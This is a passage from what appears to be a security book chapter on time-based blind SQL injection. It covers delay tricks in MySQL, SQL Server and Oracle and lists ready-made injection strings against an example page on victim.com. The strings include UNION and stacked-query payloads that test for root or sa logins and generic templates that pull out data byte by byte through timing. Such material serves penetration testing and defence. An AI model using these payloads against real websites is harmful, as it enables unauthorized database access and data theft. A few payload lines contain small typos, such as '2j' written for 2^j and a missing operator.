Blind SQL Injection Exploitation : Using Time-Based Techniques

Now that we have covered a little background theory on both classes of techniques it is time to dig into the actual exploits. When covering the various methods for inferring data there was an explicit assumption that an inference mechanism existed that enabled us to use either a binary search method or a bit-by-bit method to retrieve the value of a byte. In this section, we will discuss and dissect a time-based mechanism that you can use with both inference methods. You will recall that for the inference methods to work you need to be able to differentiate between two states based on some attribute of the page response. One attribute that every response has is the time difference between when the request was made and when the response arrived. If you could pause a response for a few seconds when a particular state was true but not when the state was false, you would have a signaling trick that would suit both inference methods.

Delaying Database Queries

Because introducing delays in queries is not a standardized capability of SQL databases, each database has its own trick to introduce delays. We'll cover the tricks for MySQL, SQL Server, and Oracle in the subsections that follow.

MySQL Delays

MySQL has two possible methods of introducing delays into queries, depending on the MySQL version. If the version is 5.0.12 or later, a SLEEP( ) function is present which will pause the query for a fixed number of seconds (and microseconds if needed). Figure 1 shows a query that executed SLEEP(4.17) and took exactly 4.17 seconds to run, as the result line shows.

Figure 1. Executing MySQL SLEEP( )m

For versions of MySQL that do not have a SLEEP( ) function it is possible to duplicate the behavior of SLEEP( ) using the BENCHMARK( ) function, which has the prototype BENCHMARK(N, expression) where expression is some SQL expression and N is the number of times the expression should be repeatedly executed. The primary difference between BENCHMARK( ) and SLEEP( ) is that BENCHMARK( ) introduces a variable but noticeable delay into the query, whereas SLEEP( ) forces a fixed delay. If the database is running under a heavy load, BENCHMARK( ) will run more slowly, but because the noticeable delay is accentuated rather than diminished the usefulness of BENCHMARK( ) in inference attacks remains.

Because expressions are executed very quickly, you need to run them many times before you will start to see delays in the query, and N can take on values of 1,000,000,000 or higher. The expression must be scalar, so functions that return single values are useful, as are subqueries that return scalars. Here are a number of examples of the BENCHMARK( ) function along with the time each took to execute on my MySQL installation:

SELECT BENCHMARK(1000000,SHA1(CURRENT_USER)) (3.01 seconds)
SELECT BENCHMARK(100000000,(SELECT 1)) (0.93 seconds)
SELECT BENCHMARK(100000000,RAND()) (4.69 seconds)

This is all very neat, but how can you implement an inference-based blind SQL injection attack using delayed queries in MySQL? A demonstration might by suitable at this point, so I'll introduce the simple example application that we'll use from this point on in the chapter. The example has a table called reviews that stores movie review data and whose columns are id, review_author, and review_content. When accessing the page http://www.victim.com/count_reviews.php?review_author=MadBob then the following SQL query is run:

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob'

Possibly the simplest inference we can make is whether we are running as the root user. Two methods are possible—one using SLEEP( ):

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' UNION SELECT
   IF(SUBSTRING(USER(),1,4)='root',SLEEP(5),1)

and the other using BENCHMARK( ):

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob' UNION SELECT
   IF(SUBSTRING(USER(),1,4)='root',BENCHMARK(100000000,RAND()),1)

When we convert them into page requests they become:

count_reviews.php?review_author=MadBob' UNION SELECT
   IF(SUBSTRING(USER(),1,4)=0x726f6f74,SLEEP(5),1)#

and

count_reviews.php?review_author=MadBob' UNION SELECT
   IF(SUBSTRING(USER(),1,4)=0x726f6f74,BENCHMARK(100000000,RAND()),1)#

(Note the replacement of root with the string 0x726f6f74, which is a common evasion technique as it allows you to specify strings without using quotes, and the presence of the # symbol at the end of each request to comment out any trailing characters.)

You may recall that you can infer data through either a binary search approach or a bit-by-bit approach. Since we already dealt with the underlying techniques and theory in depth, I'll provide exploit strings for both in the next two subsections.

Generic MySQL Binary Search Inference Exploits

The following is an example for string injection points (Note: This will require massaging to get the number of columns in the UNION SELECT to match that of the first query):

' UNION SELECT IF(ASCII(SUBSTRING((…),i,1))>k,SLEEP(1),1)#
' UNION SELECT IF(ASCII(SUBSTRING((…),i, 1))>k,BENCHMARK(100000000,
    RAND()),1)#

The following is an example for numeric injection points:

+ if(ASCII(SUBSTRING((…),i,1))>k,SLEEP(5),1)#
+ if(ASCII(SUBSTRING((…),i, 1))>k,BENCHMARK(100000000, RAND()),1)#

where i is the i-th byte returned by the subquery (…) and k is the current middle value of the binary search. If the inference question returns TRUE the response is delayed.

Generic MySQL Bit-by-Bit Inference Exploits

The following is an example for string injection points using the bitwise AND, which you can substitute for other bit operations (Note: These exploits will require massaging when used to match the number of columns in the UNION select to that of the first query):

' UNION SELECT IF(ASCII(SUBSTRING((…),i,1))&2j=2j,SLEEP(1),1)#
' UNION SELECT IF(ASCII(SUBSTRING((…),i, 1))&2j=2j,BENCHMARK(100000000,
    RAND()),1)#

The following is an example for numeric injection points:

+ if(ASCII(SUBSTRING((…),i,1))&2j=2j,SLEEP(1),1)#
+ if(ASCII(SUBSTRING((…),i, 1))2j=2j,BENCHMARK(100000000, RAND()),1)#
+ if(ASCII(SUBSTRING((…),i,1))|2j>ASCII(SUBSTRING((…),i,1)),SLEEP(1),1)#
+ if(ASCII(SUBSTRING((…),i, 1))|2j>ASCII(SUBSTRING((…),i,1)),
   BENCHMARK(100000000, RAND()),1)#
+ if(ASCII(SUBSTRING((…),i,1))^2j<ASCII(SUBSTRING((…),i,1)),SLEEP(1),1)#
+ if(ASCII(SUBSTRING((…),i, 1))^2j<ASCII(SUBSTRING((…),i,1)),
   BENCHMARK(100000000, RAND()),1)#

where i is the i-th byte returned by the subquery (…) and j is the bit we are interested in (bit 1 is the least significant and bit 8 is the most significant). So, if we want to retrieve bit 3, then 2^j = 2³ = 8, and for bit 5, 2j = 2⁵ = 32.

Tip

As always with SQL injection, asking where in the original query your input ends up is an important step toward understanding the effect of your exploit. For example, the timing-based inference attacks on MySQL almost always introduce a delay in the WHERE clause of the query. However, because the WHERE clause is evaluated against each row, any delay is multiplied by the number of rows against which the clause is compared. For example, using the exploit snippet + IF(ASCII(SUBSTRING((…),i,1))>k,SLEEP(5),1) on a table of 100 rows produces a delay of 500 seconds. At first glance, this may seem contrary to what you would like, but it does allow you to estimate the size of tables; moreover, since SLEEP( ) can pause for microseconds, you can still have the overall delay for the query take just a few seconds even if the table has thousands or millions of rows.

SQL Server Delays

SQL Server provides an explicit facility for pausing the execution of any query. Using the WAITFOR keyword it is possible to cause SQL Server to halt execution of a query until some time period has passed, which can be either relative to the time at which the keyword was encountered or an absolute time when execution should resume (such as 21:15). You most often will use the relative option, which makes use of the DELAY keyword. Thus, to pause execution for 1 minute, 53 seconds you would use WAITFOR DELAY ‘00:01:53’. The result is a query that indeed executes for 1 minute, 53 seconds, as Figure 2 shows—the time the query took to execute is shown in the status bar along the bottom of the window. Note that this does not impose a maximum bound on the execution time; you are not telling the database to only execute for 1:53; rather, you are adding 1:53 to the query's normal execution time, so the delay is a minimum bound.

Figure 2. Executing WAITFOR DELAY

Notes from the Underground… Simulating BENCHMARK( ) on Microsoft SQL Server and Other Databases In mid-2007, Chema Alonso published a technique for duplicating MySQL's BENCHMARK( ) effect of prolonging queries through an extra processing load in SQL Server, and this provided another mechanism for inferring data without the need for an explicit SLEEP( )-type function. His technique used two subqueries separated by a logical AND where one of the queries would take a number of seconds to run and the other contained an inference check. If the check failed (bit x was 0), the second subquery would return and the first subquery would be prematurely aborted due to the presence of the AND clause. The net effect was that if the bit being inferred was 1, the request would consume more time than if the bit was 0. This was interesting, as it sidestepped any checks that explicitly banned the keywords WAITFOR DELAY. Alonso released a tool implementing his idea with support for Microsoft Access, MySQL, SQL Server, and Oracle. It is available at www.codeplex.com/marathontool.

Because the WAITFOR keyword is not useable in subqueries, you do not have exploit strings that use WAITFOR in the WHERE clause. However, SQL Server does support stacked queries, which is very useful in this situation. The approach you should follow is to build an exploit string that is simply tagged on to the back of the legitimate query, completely separated by a semicolon.

Let's look at an example application that is identical to the movie review application demonstrated with MySQL previously, except that now the application runs on SQL Server and ASP.NET. The SQL query run by the page request count_reviews.aspx?status=Madbob is as follows:

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob'

To determine whether the database login is sa you can execute the following SQL:

SELECT COUNT(*) FROM reviews WHERE review_author='MadBob';
   IF SYSTEM_USER='sa' WAITFOR DELAY '00:00:05'

If the request took longer than five seconds you can infer that the login is sa. Converted into a page request, this becomes:

count_reviews.aspx?review_author=MadBob'; IF SYSTEM_USER='sa' WAITFOR
   DELAY '00:00:05

You may have noticed that the page request did not have a trailing single quote, and this was intentional as the vulnerable query supplied the trailing single quote. Another point to consider is that the inference question we chose to ask has the least possible number of explanations: Instead of testing whether we are not sa we seek to affirm that we are by pausing for five seconds. If we inverted the question such that the delay occurred only when the login was not sa, a quick response can infer sa but it could also be as a result of a problem with the exploit.

Because we can choose either a binary search or a bit-by-bit method to infer data, and given that we have already dealt with the underlying techniques and theory in depth, I'll provide only exploit strings for both in the next two subsections.

Generic SQL Server Binary Search Inference Exploits

The following is an example for string injection points (Note: We utilize stacked queries, so UNIONs are not required):

'; IF ASCII(SUBSTRING((…),i,1)) > k WAITFOR DELAY '00:00:05';--

where i is the i-th byte returned by the one-row subquery (…) and k is the current middle value of the binary search. Numeric injection points are identical except for the absence of the initial single quote.

Generic SQL Server Bit-by-Bit Inference Exploits

The following is an example for string injection points using the bitwise AND, which can be substituted for other bit operations. This exploit utilizes stacked queries, so UNIONs are not required:

'; IF ASCII(SUBSTRING((…),i,1))&2j=2j WAITFOR DELAY '00:00:05';--

where i is the i-th byte returned by the subquery (…) and j is the bit position under examination. Numeric injection points are identical exception for the absence of the initial single quote.

Oracle Delays

The situation with time-based blind SQL injection in Oracle is a little stickier. Although it is true that a SLEEP( ) equivalent exists in Oracle, the manner in which you call SLEEP( ) does not allow you to embed it in a WHERE clause of a SELECT statement. A number of SQL injection resources point to the DBMS_LOCK package which provides the SLEEP( ) function, among others. You can call it with

BEGIN DBMS_LOCK.SLEEP(n); END;

where n is the number of seconds for which to halt execution.

However, there are a number of restrictions with this method. First, you cannot embed it in a subquery, as it is PL/SQL code and not SQL code, and because Oracle does not support stacked queries, this SLEEP( ) function is somewhat of a white elephant. Second, the DBMS_LOCK package is not available to users apart from database administrators (DBAs) by default, and because non-privileged users are commonly used to connect to Oracle databases (well, more often seen than in the SQL Server world) this effectively makes the DBMS_LOCK trick moot.

If, by some small miracle, the injection point is in a PL/SQL block, the following snippet would generate a delay:

IF (BITAND(ASCII(SUBSTR((…),i,1)),2j)=2j) THEN DBMS_LOCK.SLEEP(5); END IF;

where i is the i-th byte returned by the subquery (…) and j is the bit position under examination.

You could also attempt the heavy query approach pioneered by Alonso.

Time-Based Inference Considerations

Now that we have looked at specific exploit strings for three databases that enable both binary search and bit extraction time-based inference techniques, there are a few messy details that we need to discuss. We have considered timing to be a mostly static attribute where in one case a request completes quickly but in the other state it completes very slowly, allowing us to infer state information. However, this is reliable only when the causes of the delay are guaranteed, and in the real world this is seldom the case. If a request takes a long time, it could be as a result of the intentional delay we inserted, but the slow response might equally be caused by a loaded database or congested communications channel. We can partially solve this in one of two ways:

1. Set the delay long enough to smooth out possible influence from other factors. If the average round trip time (RTT) is 50 milliseconds, a 30 second delay provides a very wide gap that will mostly prevent other delays from drowning out the inference. Unfortunately, the delay value is dependent on the line conditions and database load, which are dynamic and hard to measure, so we tend to overcompensate, making the data retrieval inefficient. Setting the delay value too high also runs the risk of triggering timeout exceptions either in the database or in the Web application framework.

2. Send two almost identical requests simultaneously with the delay-generating clause dependent on a 0-bit in one request and a 1-bit in the other. The first request to return (subject to normal error checking) will likely be the predicate that did not induce a delay, and state can be inferred even in the presence of non-deterministic delay factors. This rests on the assumption that if both requests are made simultaneously, the unpredictable delays are highly likely to affect both requests.